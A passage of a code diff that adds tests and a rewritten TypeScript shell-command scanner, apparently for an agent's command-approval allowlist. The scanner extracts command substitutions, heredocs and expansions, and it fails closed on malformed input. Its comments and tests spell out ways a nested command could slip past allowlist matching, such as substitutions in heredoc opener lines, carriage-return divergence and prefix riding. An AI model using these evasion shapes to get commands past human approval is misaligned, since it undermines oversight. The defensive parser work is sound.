+			const input = "cat <<EOF\n$((1+2\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("arithmetic")
+		})
+
+		it("fails closed when body-walk arithmetic nesting exceeds the scan bound", () => {
+			// Recursing through 65 nested arithmetic interiors would expand the
+			// generated input without bound. The walk stops and fails closed.
+			const body = "$((".repeat(65) + "x" + "))".repeat(65)
+			const input = `cat <<EOF\n${body}\nEOF`
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("nesting-too-deep")
+		})
+
+		it("fails closed when substitution re-scan nesting exceeds the depth bound", () => {
+			const input = `echo${" $(a".repeat(70)}${")".repeat(70)}`
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("nesting-too-deep")
+		})
+
+		it("fails closed on a substitution placeholder when the tokenizer throws", () => {
+			forceShellQuoteFailure = true
+			try {
+				const input = "echo $(whoami) && cat <<EOF\nbody\nEOF"
+				const { commands, parseError } = parseCommand(input)
+				// An operator split would restore the masked substitution's
+				// inner text inline, letting the substitution's command ride a
+				// word that could match its host's allowlist prefix — so a
+				// tokenizer rejection fails the whole command closed.
+				expect(commands).toEqual([input])
+				expect(parseError?.quoteType).toBe("tokenize-failure")
+				expect(commands.join("")).not.toContain("\x00")
+			} finally {
+				forceShellQuoteFailure = false
+			}
 		})
 	})
 })
diff --git a/src/shared/parse-command.ts b/src/shared/parse-command.ts
index 4195d99d4e..1b963b5811 100644
--- a/src/shared/parse-command.ts
+++ b/src/shared/parse-command.ts
@@ -3,29 +3,89 @@ import { parse } from "shell-quote"
 export type ShellToken = string | { op: string } | { command: string }
 
 /**
- * The style of quoting that opened a region.
+ * The kind of structural region a malformed-command error refers to.
  *
- * - `posix-single` and `ansi-c` share the `'` delimiter but follow different
- *   escaping rules, so they must be distinguished.
- * - `locale` and `double` share the `"` delimiter but `locale` is prefixed with
- *   `$` (like ANSI-C), making `$"..."` a distinct token for accurate restoration.
- * - `heredoc` covers `<<WORD`, `<<'WORD'`, `<<"WORD"`, and `<<\WORD` openers
- *   whose body extends through the terminator line.
+ * Quote and heredoc kinds describe regions that open and never close:
+ *
+ * - `posix-single` and `ansi-c` share the `'` delimiter. They follow different
+ *   escaping rules, so the parser must tell them apart.
+ * - `locale` and `double` share the `"` delimiter. A `$` prefix marks
+ *   `locale`. The `$"..."` form is therefore a distinct token, and
+ *   restoration stays accurate.
+ * - `heredoc` covers `<<WORD`, `<<'WORD'`, `<<"WORD"`, and `<<\WORD` openers.
+ *   Their body extends through the terminator line.
+ *
+ * Expansion kinds describe delimiters the scanner balances while it extracts
+ * command substitutions. `stray-closer` is the opposite failure: a `}` with
+ * no matching opener.
+ *
+ * - `command-substitution`: a `$(` that never closes.
+ * - `process-substitution`: a `<(…` or `>(…` that never closes.
+ * - `parameter-expansion`: a `${` that never closes.
+ * - `backtick`: a backtick region that never closes.
+ * - `arithmetic`: an arithmetic expression (`$((` or `$[`) that never
+ *   closes.
+ * - `stray-closer`: a `}` at nesting depth 0 with no matching `{`. The scan
+ *   reports it outside any quoted region, comment, or heredoc body. A
+ *   depth-0 `)` is host text instead. bash closes `case` patterns with `)`.
+ *
+ * Rejection kinds describe input the scan refuses outright. The scan never
+ * tokenizes such input. Neither kind can grant an approval: the tool call
+ * fails with an error instead of reaching the approval prompt:
+ *
+ * - `nul-byte`: a raw NUL byte anywhere in the command. NUL is the scan's
+ *   placeholder sentinel. An input that contains one could corrupt the
+ *   masked-text round trip.
+ * - `nesting-too-deep`: the scan re-scans substitution payloads beyond
+ *   `MAX_PAYLOAD_SCAN_DEPTH` levels. Such input is generated, not a human
+ *   command.
+ * - `tokenize-failure`: the tokenizer rejected the masked host text. The
+ *   masked text carries no active shell syntax, so a rejection means the
+ *   scan's decomposition does not account for the input.
+ * - `ambiguous-opener`: a `{` that meets its `$` only through a line
+ *   continuation carrying a carriage return. The read models disagree about
+ *   whether the joined bytes open a parameter expansion, so the scan masks
+ *   nothing and refuses the input instead of guessing.
+ * - `payload-glob`: a glob word inside a re-scanned substitution payload.
+ *   The tokenizer keeps only the literal `glob` for such a word, which
+ *   under-approximates the files bash expands the pattern to. The scan
+ *   refuses the input instead of reconstructing a bare `glob` word.
  */
-export type QuoteType = "posix-single" | "ansi-c" | "double" | "locale" | "heredoc"
+export type QuoteType =
+	| "posix-single"
+	| "ansi-c"
+	| "double"
+	| "locale"
+	| "heredoc"
+	| "command-substitution"
+	| "process-substitution"
+	| "parameter-expansion"
+	| "backtick"
+	| "arithmetic"
+	| "stray-closer"
+	| "nul-byte"
+	| "nesting-too-deep"
+	| "tokenize-failure"
+	| "ambiguous-opener"
+	| "payload-glob"
 
 /**
  * The result of parsing a command string.
  *
- * `commands` is the list of individual sub-commands produced by splitting on
- * unquoted newlines and chain operators. When `parseError` is non-null the
- * command string is syntactically malformed (e.g. an unterminated quote) and
- * `commands` contains the raw input as a single opaque token so callers can
- * surface the error without splitting unsafe fragments.
+ * `commands` is the list of individual sub-commands. The splitter cuts on
+ * unquoted newlines and chain operators. When `parseError` is non-null, the
+ * command string is malformed. Causes: an unterminated quote or heredoc, an
+ * expansion delimiter or arithmetic expression that never closes, a stray
+ * closer, a raw NUL byte, substitution nesting beyond the re-scan depth cap,
+ * the shell tokenizer rejecting the masked command, a `{` opener joined to
+ * its `$` across a carriage-return continuation, or a glob word inside a
+ * re-scanned substitution payload. `commands` then holds the raw input as one
+ * opaque token. Callers can surface the error without splitting unsafe
+ * fragments.
  *
  * Callers that only need the sub-command list can destructure `{ commands }`.
- * Callers that need to distinguish a parse error from a normal single-command
- * result should also inspect `parseError`.
+ * A caller that must tell a parse error from a normal single-command result
+ * also inspects `parseError`.
  */
 export interface ParseResult {
 	commands: string[]
@@ -33,15 +93,16 @@ export interface ParseResult {
 }
 
 /**
- * Describes the opening of a quoted region that is never closed.
+ * The scan could not account for the delimiter this object describes. The
+ * delimiter is a quote, heredoc, or expansion region that never closes, or a
+ * `}` at depth 0 with no matching `{`.
  *
- * - `quoteType`: the style of the unterminated quote. `"heredoc"` means a
- *   `<<WORD` opener whose terminator line was never found.
- * - `openIndex`: the index in the original command string of the character that
- *   opened the region. For ANSI-C and locale quoting this points at the leading
- *   `$`. For heredocs this points at the first `<`. This position lets a future
- *   caller emit a located error (e.g. "unterminated heredoc near ...") instead
- *   of a generic message.
+ * - `quoteType`: the kind of the offending construct.
+ * - `openIndex`: the index, in the scanned command string, of the character
+ *   that opened the region. For ANSI-C and locale quoting it points at the
+ *   leading `$`. For heredocs it points at the first `<`. For a stray closer
+ *   it points at the closer itself. The position lets a caller report a
+ *   located error instead of a generic message.
  */
 export interface UnterminatedQuote {
 	quoteType: QuoteType
@@ -51,9 +112,10 @@ export interface UnterminatedQuote {
 }
 
 /**
- * Build the human-readable error message for an unterminated quote.
- * Includes a short excerpt of the command around the opening delimiter
- * so the agent has enough context to locate and fix the problem.
+ * Build the human-readable error message for a structural parse failure.
+ * The message includes a short excerpt of the command around the offending
+ * character. The excerpt gives the agent enough context to locate and fix the
+ * problem.
  */
 function unterminatedQuoteMessage(quoteType: QuoteType, openIndex: number, command: string): string {
 	const labels: Record<QuoteType, string> = {
@@ -62,698 +124,2908 @@ function unterminatedQuoteMessage(quoteType: QuoteType, openIndex: number, comma
 		double: 'double quote (")',
 		locale: 'locale quote ($")',
 		heredoc: "heredoc (<<)",
+		"command-substitution": "command substitution ($(...))",
+		"process-substitution": "process substitution (<(...) or >(...))",
+		"parameter-expansion": "parameter expansion (${...})",
+		backtick: "backtick (`)",
+		arithmetic: "arithmetic expression ($(( or $[)",
+		"stray-closer": `closing delimiter '${command[openIndex] ?? ""}' with no matching opener`,
+		"nul-byte": "NUL byte (control characters cannot appear in a shell command)",
+		"nesting-too-deep": `substitution nesting deeper than ${MAX_PAYLOAD_SCAN_DEPTH} levels`,
+		"tokenize-failure": "shell tokenizer rejected the masked command",
+		"ambiguous-opener":
+			"ambiguous parameter-expansion opener (a carriage return sits in the line continuation before `{`)",
+		"payload-glob": "glob pattern inside a substitution payload (glob expansion cannot be accounted for)",
 	}
+	const problem =
+		quoteType === "stray-closer" ||
+		quoteType === "nul-byte" ||
+		quoteType === "nesting-too-deep" ||
+		quoteType === "ambiguous-opener" ||
+		quoteType === "payload-glob"
+			? labels[quoteType]
+			: `unterminated ${labels[quoteType]}`
 	const snippetStart = Math.max(0, openIndex - 10)
 	const snippetEnd = Math.min(command.length, openIndex + 20)
 	const prefix = snippetStart > 0 ? "..." : ""
 	const suffix = snippetEnd < command.length ? "..." : ""
 	const excerpt = prefix + command.slice(snippetStart, snippetEnd).replace(/\r?\n/g, "\\n") + suffix
-	return `Malformed command: unterminated ${labels[quoteType]} at position ${openIndex} -- near: \`${excerpt}\`. `
+	return `Malformed command: ${problem} at position ${openIndex} -- near: \`${excerpt}\`. `
 }
 
+/** The kinds of region the scanner tracks on its open-delimiter stack. */
+type FrameKind =
+	| "posix-single"
+	| "ansi-c"
+	| "double"
+	| "locale"
+	| "command-substitution"
+	| "process-substitution"
+	| "parameter-expansion"
+	| "backtick"
+
+const QUOTE_FRAME_KINDS: FrameKind[] = ["posix-single", "ansi-c", "double", "locale"]
+
 /**
- * Scan a command string left-to-right with a small state machine and report the
- * first quoted region that is never closed, or `null` when every quoted region
- * is properly terminated.
- *
- * A regex cannot reliably answer "is this command well-quoted?" because quoting
- * is context-sensitive: a backslash escapes the next character outside single
- * quotes, `#` may begin a comment that should be ignored, and an apostrophe
- * inside double quotes (or vice versa) is literal text rather than a delimiter.
- * This walk mirrors how a POSIX shell tokenizes quoting so that legitimate
- * multi-line quoted arguments are accepted while genuinely unterminated quotes
- * (a shell syntax error) are detected.
- *
- * Rules implemented:
- * - Outside any quote, a backslash escapes the following character, so `\'` and
- *   `\"` are literal and do not open a region.
- * - Outside any quote, `#` begins a comment when it is at the start of the input
- *   or preceded by whitespace; the remainder of that line is ignored. A `#` that
- *   is attached to a word (e.g. `foo#bar`) is an ordinary character.
- * - Single quotes are opaque: no escapes apply, and the region ends only at the
- *   next `'`.
- * - Double quotes honor backslash escapes, so `\"` does not close the region.
- * - ANSI-C quoting ($'...') behaves like a single-quoted region for delimiter
- *   purposes but honors backslash escapes, so `\'` does not close it.
- * - Locale quoting ($"...") behaves like double quotes but is opened by `$"` so
- *   the leading `$` is part of the token (same pattern as ANSI-C).
- * - Heredoc (`<<WORD`, `<<'WORD'`, `<<"WORD"`, `<<\WORD`, `<<-WORD`) is a
- *   multi-line quoted region. The body extends from the character after the
- *   opener line's newline through the line that is exactly the terminator word
- *   (after stripping leading tabs for `<<-`). If no terminator line is found the
- *   heredoc is unterminated.
- *
- * @internal
+ * The characters a backslash escapes inside double quotes. Before any other
+ * character the backslash is itself literal and stays part of the word.
  */
-export function findUnterminatedQuote(command: string): UnterminatedQuote | null {
-	return scanTopLevelQuotes(command).unterminatedQuote
+const DOUBLE_QUOTE_ESCAPABLE = '$`"\\\n'
+
+/** An open region the scanner is inside. One entry per unclosed delimiter. */
+interface RegionFrame {
+	kind: FrameKind
+	/** Index of the first character of the opening delimiter. */
+	openIndex: number
+	/** The single character that closes this region. */
+	closer: string
+	/** Index just after the opening delimiter. The region's content starts there. */
+	contentStart: number
+	/** Whether a backslash inside the region escapes the next character. */
+	escaped: boolean
+	/**
+	 * For command/process-substitution frames: the number of bare `(` grouping
+	 * parentheses that are open inside the region. A subshell group balances
+	 * independently of the frame's own closer. While this counter is positive,
+	 * a `)` matches the group and must not pop the frame.
+	 */
+	groupDepth: number
+	/**
+	 * For parameter-expansion frames: every command substitution the scan
+	 * closed inside the expansion, at any nesting depth. A parameter expansion
+	 * hides its text from the tokenizer. It must not stop substitution
+	 * extraction, because the shell expands `${x:-$(cmd)}` exactly like
+	 * `$(cmd)`.
+	 */
+	payloads: string[] | null
 }
 
 /**
- * Describes a contiguous quoted region found at the top level of a command
- * string (outside any other quoted region and outside `#` comments).
+ * One open region in the heredoc opener-line remainder walk. Mirrors just the
+ * closer-balancing state of `RegionFrame`: enough to know when a top-level
+ * region closes, which decides whether a following `#` continues the word.
+ * `backtick` marks the opaque backtick kind: a backtick region balances only
+ * against its own closer, never against a nested opener.
  */
-interface QuoteSpan {
-	/** Index of the first character of the opening delimiter (e.g. `$` for `$'...'`). */
-	start: number
-	/** Index one past the last character of the closing delimiter. */
-	end: number
-	/** The style of quoting. */
-	quoteType: QuoteType
+interface RemainderFrame {
+	/** The single character that closes this region. */
+	closer: string
+	/** Bare `(` grouping opened inside a `)`-closing region, not yet closed. */
+	groupDepth: number
+	/** Whether this is the opaque backtick kind. */
+	backtick: boolean
 }
 
 /**
- * Result returned by the single shared state-machine walk.
- *
- * `spans` contains every well-formed top-level quoted region found.
- * `unterminatedQuote` is non-null when the walk ended inside an open region.
+ * One scan fills this object. It holds the masked host text, the structural
+ * error if one exists, and the masked-away constructs. The tokenizer restores
+ * those constructs or recurses into them.
  */
-interface ScanResult {
-	spans: QuoteSpan[]
-	unterminatedQuote: UnterminatedQuote | null
+interface ScanOutcome {
+	/**
+	 * The scan replaces every quoted region, heredoc, parameter expansion,
+	 * arithmetic expression, variable, and redirection with an opaque
+	 * placeholder word. It replaces every command substitution with a boundary
+	 * placeholder. The result contains no active shell syntax, so
+	 * `shell-quote` can tokenize it safely.
+	 */
+	host: string
+	error: UnterminatedQuote | null
+	/** Inner text of each `$()`/backtick/`<()`/`>()` region, in order. */
+	substitutions: string[]
+	/** Raw text of each quoted region, restored verbatim. */
+	quotes: string[]
+	/** Raw text of each `${...}` region, restored verbatim. */
+	params: string[]
+	/** For each parameter expansion: raw inner substitutions to extract. */
+	paramPayloads: string[][]
+	/** Raw text (redirect operator and delimiter word through terminator) of each heredoc. */
+	heredocs: string[]
+	/** For each heredoc with an unquoted delimiter: body substitutions. */
+	heredocPayloads: string[][]
+	variables: string[]
+	redirections: string[]
+	/** Masked arithmetic expressions: `$((...))` and `$[...]`. */
+	arithmetic: string[]
+	/** For each `$((...))`: substitutions the shell expands inside it. */
+	arithmeticPayloads: string[][]
 }
 
 /**
- * Parse a heredoc delimiter word starting at position `start` in `command`.
- * The delimiter may be:
- * - Unquoted:        `EOF`     -- bare identifier characters
- * - Single-quoted:   `'EOF'`   -- literal body, strip outer quotes
- * - Double-quoted:   `"EOF"`   -- expandable body, strip outer quotes
- * - Backslash-escaped: `\EOF`  -- literal body, strip leading backslash
- *
- * Returns the bare delimiter word (for terminator line matching) and the index
- * of the first character after the delimiter token.
+ * This sentinel separates placeholder names in masked host text. The scan
+ * rejects any input that contains a raw NUL (`nul-byte`) up front. A
+ * placeholder name can therefore never collide with command text. A printable
+ * `__NAME_0__` marker could collide, because an input can contain it
+ * literally.
  */
-function parseHeredocDelimiter(command: string, start: number): { delimiter: string; endIndex: number } {
-	let i = start
-	let delimiter = ""
+const NUL = "\x00"
+
+/**
+ * Cap on payload re-scan depth. The scan re-scans every substitution payload
+ * through the full path. With no cap, a few tens of KB of generated input
+ * consumes minutes of CPU through quadratic suffix re-scans. The call stack
+ * finally overflows. The cap fails closed instead. No hand-written command
+ * nests a substitution 64 deep.
+ */
+const MAX_PAYLOAD_SCAN_DEPTH = 64
+
+/**
+ * Sentinel for "a region opens here but never closes", distinct from "no
+ * region opens here". A closer scan that retries the next byte on either
+ * reading re-walks the whole tail once per byte; masking the tail at this
+ * reading keeps the scan linear. An unclosed region is bash's own syntax
+ * error: the shell reads every later byte inside it, so the tail holds no
+ * further region opener for the scan to find.
+ */
+const INERT_UNCLOSED = -1
+
+/**
+ * Bytes the shell ends a word at (default $IFS blanks plus metacharacters).
+ * JS \s is wider than $IFS (VT, FF, NBSP, U+3000, …), and bash does not
+ * word-split on the extras.
+ */
+const IFS_BLANK = /[ \t\n]/
+const WORD_BOUNDARY_BEFORE = /[ \t\n;&()|<>]/
 
-	if (command[i] === "'") {
-		i++ // skip opening '
-		while (i < command.length && command[i] !== "'" && command[i] !== "\n") {
-			delimiter += command[i++]
+/**
+ * True when the byte the shell sees before `text[i]` ends a word. A
+ * backslash-newline pair is removed by the shell before tokenizing, so a
+ * word-boundary test must read the shell's logical text, not the raw bytes.
+ * A backslash run of length R ending at a newline pairs off left to right:
+ * an odd R ends in the pairing backslash, so the newline is swallowed as a
+ * continuation and the byte before the run is what precedes the word; an
+ * even R leaves the newline standing as a real line break. Neither walk
+ * carries an index bound: reading before index 0 yields undefined, which is
+ * neither a newline nor a backslash, so the character tests stop both walks
+ * at the start of input, where the word boundary is implicit.
+ */
+function logicalWordBoundaryBefore(text: string, i: number): boolean {
+	let prev = i - 1
+	while (text[prev] === "\n") {
+		let run = 0
+		while (text[prev - run - 1] === "\\") {
+			run++
 		}
-		if (command[i] === "'") i++ // consume closing '
-	} else if (command[i] === '"') {
-		i++ // skip opening "
-		while (i < command.length && command[i] !== '"' && command[i] !== "\n") {
-			delimiter += command[i++]
+		if (run % 2 === 0) {
+			// Even run (including none): the newline is a real line break.
+			break
 		}
-		if (command[i] === '"') i++ // consume closing "
-	} else if (command[i] === "\\") {
-		i++ // skip backslash
-		while (i < command.length && command[i] !== "\n" && command[i] !== " " && command[i] !== "\t") {
-			delimiter += command[i++]
+		prev -= run + 1
+	}
+	return prev < 0 || WORD_BOUNDARY_BEFORE.test(text[prev])
+}
+
+/**
+ * The first index at or past `from` that falls outside a run of
+ * backslash-newline line continuations -- the byte a standing unquoted byte is
+ * really adjacent to, because the shell removes each pair before tokenizing
+ * and every site that asks what follows a `$` or `<` opener shares this rule.
+ * With `acrossLineEndingCR` each pair may also carry the carriage returns that
+ * precede its newline: on the reference shell a CR between the backslash and
+ * the newline does not stop the join, so an opener read that crosses a line
+ * ending sees through those CR bytes.
+ */
+function continuationRunEndFrom(text: string, from: number, acrossLineEndingCR: boolean): number {
+	let j = from
+	while (text[j] === "\\") {
+		let k = j + 1
+		// Stryker disable next-line ConditionalExpression: the two named entries pass the flag's two values, so this flip makes both CR-tolerant, and the delimiter walk's only differing shape (`$\<CR><LF>` before a quote) returns the same heredoc malformed result either way.
+		if (acrossLineEndingCR) {
+			while (text[k] === "\r") {
+				k++
+			}
 		}
-	} else {
-		while (i < command.length && command[i] !== "\n" && command[i] !== " " && command[i] !== "\t") {
-			delimiter += command[i++]
+		if (text[k] !== "\n") {
+			break
 		}
+		j = k + 1
 	}
+	return j
+}
+
+/**
+ * The strict entry, for the question of which bytes the tokenizer removes
+ * inside a word: a carriage return survives inside a word, so the run stops
+ * at the first CR it meets.
+ */
+function continuationRunEnd(text: string, from: number): number {
+	// Stryker disable next-line BooleanLiteral: this entry passing true instead of false is the same flip as the run's CR flag, and every shape where that differs is a heredoc malformed result under either reading.
+	return continuationRunEndFrom(text, from, false)
+}
 
-	return { delimiter, endIndex: i }
+/**
+ * The opener entry, for the question of whether an unquoted `$`, `{`, or `(`
+ * can meet an opener byte across a line ending in the executing shell: the
+ * reference shell joins across the CR bytes that may sit in the pair, so the
+ * run steps over them.
+ */
+function openerContinuationRunEnd(text: string, from: number): number {
+	return continuationRunEndFrom(text, from, true)
 }
 
 /**
- * Single shared state-machine walk used by both `findUnterminatedQuote` and
- * `maskTopLevelQuotes`. Walks `command` left-to-right, identifies every
- * top-level quoted region (outside any other quote and outside `#` comments),
- * and returns the list of spans together with an unterminated-quote descriptor
- * if the walk ends inside an open region.
+ * True when at least one carriage return sits inside the opener continuation
+ * run that spans `from` to `arm`. The `{` opener arm treats such a join as
+ * ambiguous: unlike the `(` arms, whose CR-joined openers the reference shell
+ * demonstrably executes, a CR-joined `${` reads as an expansion under one
+ * model of the shell and as separate syntax under another. That arm fails
+ * closed instead of masking, so an ambiguous opener can never carry an
+ * approval.
+ */
+function openerRunCarriesCR(text: string, from: number, arm: number): boolean {
+	return text.slice(from, arm).includes("\r")
+}
+
+/**
+ * Trim only the blanks a shell reader drops at the edges of a word run. JS
+ * `trim` also strips the exotic characters bash reads as ordinary word bytes;
+ * dropping them would move a following `#` from mid-word to word start, where
+ * a re-scan reads it as a comment start and hides what bash expands.
+ */
+const trimScanBlanks = (value: string): string => value.replace(/^[ \t\n]+/, "").replace(/[ \t\n]+$/, "")
+
+const IDENT_START = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_"
+const IDENT_CHARS = `${IDENT_START}0123456789`
+/** `$` followed by one of these is a complete special variable. */
+const SPECIAL_VAR_CHARS = "?!#$@*-0123456789"
+
+function isIdentStart(char: string): boolean {
+	return IDENT_START.includes(char)
+}
+
+function isIdentChar(char: string): boolean {
+	return IDENT_CHARS.includes(char)
+}
+
+/**
+ * Scan `text` once, from left to right, with quote awareness. The scan tracks
+ * quote state, delimiter depth, and heredoc state at the same time. One pass
+ * emits masked host text, extracted substitution payloads, and a structural
+ * error.
+ *
+ * Shell scope: the scan parses bash/POSIX-style shell syntax only. The
+ * reference shell on the Windows target is msys/Cygwin bash. The scan does
+ * not parse other shells as such. It reads their input with the same bash
+ * rules. PowerShell input shows two consequences. A backtick is PowerShell's
+ * escape character. The scan reads a backtick as a command-substitution
+ * opener. A backtick that never closes fails closed (`backtick`). `{ ... }`
+ * is a PowerShell script block. The scan applies bash brace rules. Balanced
+ * braces stay ordinary word content. An unmatched `}` at depth 0 fails closed
+ * (`stray-closer`).
  *
- * Rules (match POSIX shell tokenization):
- * - Outside any quote, `\X` escapes the next character so a quote after `\`
- *   is literal and does not open a region.
- * - `#` that follows whitespace (or is at position 0) starts a comment to end
- *   of line; quotes inside a comment are ignored.
- * - `<<<` is a herestring (single-line redirect), not a heredoc -- skip it.
- * - `<<` opens a heredoc whose body runs through the terminator line.
- * - `$'...'` is ANSI-C quoting (escape-aware single quote).
- * - `$"..."` is locale quoting (escape-aware double quote with `$` prefix).
- * - `'...'` is POSIX single quoting (fully opaque, no escapes).
- * - `"..."` is double quoting (escape-aware).
+ * Invariants the rest of the file depends on:
  *
- * Supported quote styles reported in spans/unterminatedQuote:
- * - `ansi-c`       $'...'
- * - `locale`       $"..."
- * - `posix-single` '...'
- * - `double`       "..."
- * - `heredoc`      <<WORD...WORD
+ * - Quoted regions (`'…'`, `"…"`, `$'…'`, `$"…"`) are opaque to extraction.
+ *   The scan masks their contents whole and returns them verbatim. An
+ *   unbalanced delimiter inside one is never an error. A shell never parses
+ *   them there. A shell does expand `"$(cmd)"`. Extraction inside quoted
+ *   regions is deliberately out of scope, so such payloads stay masked.
+ * - The scan extracts `$(…)`, backticks, `<(`, and `>(`. When one closes, its
+ *   raw inner text becomes a payload segment. The host keeps only an opaque
+ *   boundary placeholder. The inner commands then match the allow/deny lists
+ *   on their own. The scan re-scans payloads, so nesting yields independent
+ *   segments.
+ * - `${…}` masks its text. The scan restores it verbatim into the host
+ *   segment. The scan still descends into it. Substitutions inside a parameter
+ *   expansion are still extracted and balance-checked. This includes
+ *   substitutions inside a heredoc body opened within the expansion. Those
+ *   payloads go to the expansion's payload list.
+ * - `$((…))` masks the expression as one host word. It never balances as an
+ *   extraction delimiter. The scan extracts substitutions inside a closed
+ *   `$((…))` and balance-checks them, because the shell expands them there. An
+ *   unclosed `$((` or `$[` fails closed (`arithmetic`). bash refuses the
+ *   input. Masking the remainder to end of input could hide an unclosed `$(`
+ *   inside it. The scan only masks the interior of a bare `$[…]`. It never
+ *   looks for substitutions there. Bare `(`…`)` grouping (subshell groups,
+ *   array assignments) also stays host text. An unclosed one is never an
+ *   error. A stray `)` is never an error either. bash closes `case` patterns
+ *   with `)`. The scan tracks a bare `{` so that brace expansion, `@{1}`
+ *   revspecs, and `find -exec {}` placeholders balance instead of erroring.
+ * - Fail-closed rule: an error results when the scan opens one of the four
+ *   extraction delimiters and cannot close it. An unclosed arithmetic opener
+ *   (`$((`/`$[`), a `}` at depth 0 with no matching `{`, and a raw NUL byte
+ *   anywhere in the input are errors too. So is payload re-scanning deeper
+ *   than `MAX_PAYLOAD_SCAN_DEPTH`. A closer that does not match the open
+ *   region's kind is literal content. That matches the shell. The still-open
+ *   region then fails at end of input.
+ * - Heredocs: the scan masks the redirect operator and delimiter word, the
+ *   body, and the terminator line as one opaque host word. The masked
+ *   construct stays a single segment
+ *   however many lines it spans. The text after the delimiter word on the
+ *   opener line is live host text: it stays out of the mask and splits at
+ *   operator characters like any other host text. Lines end only at a line
+ *   feed (LF). A carriage return (CR)
+ *   counts only as the CR of a CR-and-LF pair (CRLF) on the opener line. A
+ *   CR-only-separated opener does not validate a heredoc. bash reports such a
+ *   construct as unterminated. The scan matches body lines against the
+ *   delimiter with every CR removed. The msys/Cygwin read layer strips CR
+ *   before parsing. That layer is the reference shell on the Windows target.
+ *   The strip reaches every CR in the construct, the delimiter word and the
+ *   terminator line included. POSIX bash keeps every CR as ordinary content.
+ *   The two models can place the terminator on different lines. Either
+ *   direction of divergence is unsafe. An early close hands the remaining
+ *   body back to the scanner as live syntax. There it can open a new heredoc
+ *   that masks commands the other model executes. A late close masks them
+ *   outright. A CR anywhere in the region from the opener line through the
+ *   closing terminator line means the two layers do not read the same bytes.
+ *   The parser cannot verify that both models close at the same line. Such
+ *   heredocs fail closed for review. The parser does not guess which model
+ *   decides the boundary. It over-rejects even a uniformly-CRLF construct
+ *   whose models happen to agree. That is the accepted cost of never picking
+ *   a model. The scan parses only heredocs whose region has no CR. There both
+ *   models read byte-identical text. An unquoted-delimiter body is
+ *   expansion-active. A substitution opened inside it is extracted and must
+ *   balance before the terminator. A backslash-newline is a continuation the
+ *   shell removes before tokenizing; it does not quote the delimiter, so the
+ *   body stays expansion-active like any other unquoted body. A quoted or
+ *   backslash-escaped delimiter suppresses expansion entirely: the shell does
+ *   not expand those, and such a body stays opaque and is never
+ *   balance-checked. A body
+ *   carries no comments and is not tokenized outside an expansion region. A
+ *   `"` or `#` there is literal text. Inside an expansion region, quotes and
+ *   word-initial `#` comments follow the shell's rules there. A comment ends
+ *   at the newline, not at the region end. The scan walks the opener line's
+ *   remainder (the text after the delimiter word) for substitutions even when
+ *   the delimiter is quoted. Quoting suppresses expansion in the body only.
+ *   `cat <<'EOF' $(cmd)` still runs `cmd`.
  */
-function scanTopLevelQuotes(command: string): ScanResult {
-	const spans: QuoteSpan[] = []
-	let i = 0
+function scanShellSyntax(text: string): ScanOutcome {
+	const outcome: ScanOutcome = {
+		host: "",
+		error: null,
+		substitutions: [],
+		quotes: [],
+		params: [],
+		paramPayloads: [],
+		heredocs: [],
+		heredocPayloads: [],
+		variables: [],
+		redirections: [],
+		arithmetic: [],
+		arithmeticPayloads: [],
+	}
+	const stack: RegionFrame[] = []
+	// Counts the parameter-expansion frames open on `stack`. While this count
+	// is 0, `innermostParam` returns without walking the stack.
+	let paramFramesOpen = 0
+	// Counts bare `(` grouping (subshell groups, array assignments). Grouping
+	// stays host text. It is not one of the extraction/fail-closed delimiters.
+	// An unclosed `(` is never an error. A `)` is never an error either, with
+	// or without an opener. The counter only tracks the grouping depth. Both
+	// `)` cases reach the host.
+	let parenDepth = 0
+	// A bare `{` (brace expansion, `@{1}` revspec, `find -exec {}` placeholder)
+	// also stays host text. The scan tracks the depth so that a `}` matching
+	// an open bare `{` is not reported as a stray closer. The balance tracking
+	// is deliberately coarse. This code has no shell-context reading of `{`,
+	// only a pair.
+	let braceDepth = 0
+	// Index just past the most recent expansion or quote region that the scan
+	// closed at host level, or -1. This includes `$((…))`/`$[…]`. The shell
+	// ends the expansion at such a closer but not the surrounding word. A `#`
+	// directly there is word content, never a comment start.
+	let expansionCloseEnd = -1
+	// Index just past the most recent frame close inside an open frame, or -1.
+	// A `#` directly there continues the word like the host-level rule above.
+	// A group-paren closer is a word boundary — bash comments `$( (x)# )` — so
+	// only frame-kind pops set this index.
+	// Stryker disable next-line UnaryOperator: the guard only consults this sentinel at a frame-comment position, and the scan index is never 1 inside a frame (frame content starts at least two past the opener), so no reachable input distinguishes `+1` from `-1`.
+	let frameCloseEnd = -1
+	// Index just past the most recent ordinary `\c` escape pair consumed
+	// inside an open frame, or -1. To the shell the escaped character is an
+	// ordinary word character, so a `#` directly after the pair continues the
+	// word instead of starting a comment, even when the escaped character is a
+	// blank. A backslash-newline pair is excluded: the shell removes that pair
+	// before tokenizing, so it leaves no word content behind, and the frame
+	// comment rule decides a `#` after it against the logical boundary instead.
+	// Stryker disable next-line NumberLiteral,UnaryOperator: the replacements for this -1 sentinel (0, 1, and +1) can never equal the scan index at a frame-comment position — frame content starts at least two past the frame's opener — so no reachable input distinguishes them from `-1`.
+	let frameEscapeEnd = -1
+	// Index just past the most recent `\c` escape pair that the scan emitted
+	// at host level, or -1. To the shell, the escaped character is an ordinary
+	// word character. The word continues past the pair. A `#` directly at this
+	// index is word content, even when the escaped character is whitespace or
+	// a metacharacter in the raw text. A backslash-newline pair is excluded:
+	// the shell removes that pair before tokenizing, so it leaves no word
+	// content behind, and the comment rule decides a following `#` against the
+	// logical boundary instead.
+	let escapedWordCharEnd = -1
 
-	while (i < command.length) {
-		const char = command[i]
+	const mark = (name: string): string => `${NUL}${name}${NUL}`
 
-		// Outside any quoted region: handle backslash, comments, and quote openers.
-		if (char === "\\") {
-			// Backslash escapes the next character; a quote after it is literal.
-			i += 2
-			continue
+	const errorAt = (kind: QuoteType, openIndex: number): UnterminatedQuote => ({
+		quoteType: kind,
+		openIndex,
+		message: unterminatedQuoteMessage(kind, openIndex, text),
+	})
+
+	// Reject a raw NUL before any masking. NUL is this scan's placeholder
+	// sentinel. An input containing one could degrade a masked placeholder
+	// into inert literal text. That would hide a substitution from the lists.
+	// Rejecting at the scan head protects the placeholder sentinel everywhere
+	// the masked text travels.
+	const nulIndex = text.indexOf(NUL)
+	if (nulIndex !== -1) {
